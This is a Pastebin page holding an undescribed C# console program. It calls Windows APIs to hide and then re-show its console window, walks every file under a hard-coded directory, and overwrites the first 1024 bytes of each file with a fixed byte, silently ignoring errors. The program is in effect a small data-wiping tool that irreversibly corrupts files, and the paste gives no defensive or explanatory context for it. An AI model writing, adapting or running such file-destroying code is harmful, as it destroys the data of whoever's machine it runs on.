Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.IO;
- using System.Linq;
- using System.Runtime.Remoting.Metadata.W3cXsd2001;
- using System.Text;
- using System.Threading.Tasks;
- using System.Runtime.InteropServices;
- namespace Inet
- {
- class Program
- {
- [DllImport("kernel32.dll")]
- static extern IntPtr GetConsoleWindow();
- [DllImport("user32.dll")]
- static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
- const int SW_HIDE = 0;
- const int SW_SHOW = 5;
- static void Main(string[] args)
- {
- var handle = GetConsoleWindow();
- // Hide
- ShowWindow(handle, SW_HIDE);
- // Show
- ShowWindow(handle, SW_SHOW);
- string path = "E:/aa/";
- string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
- foreach (string s in files)
- try
- {
- using (var stream = new System.IO.FileStream(s, FileMode.Open, FileAccess.ReadWrite))
- {
- for (int i = 0; i < 1024; i++)
- {
- stream.Position = i;
- stream.WriteByte(0x04);
- }
- }
- }
- catch { }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement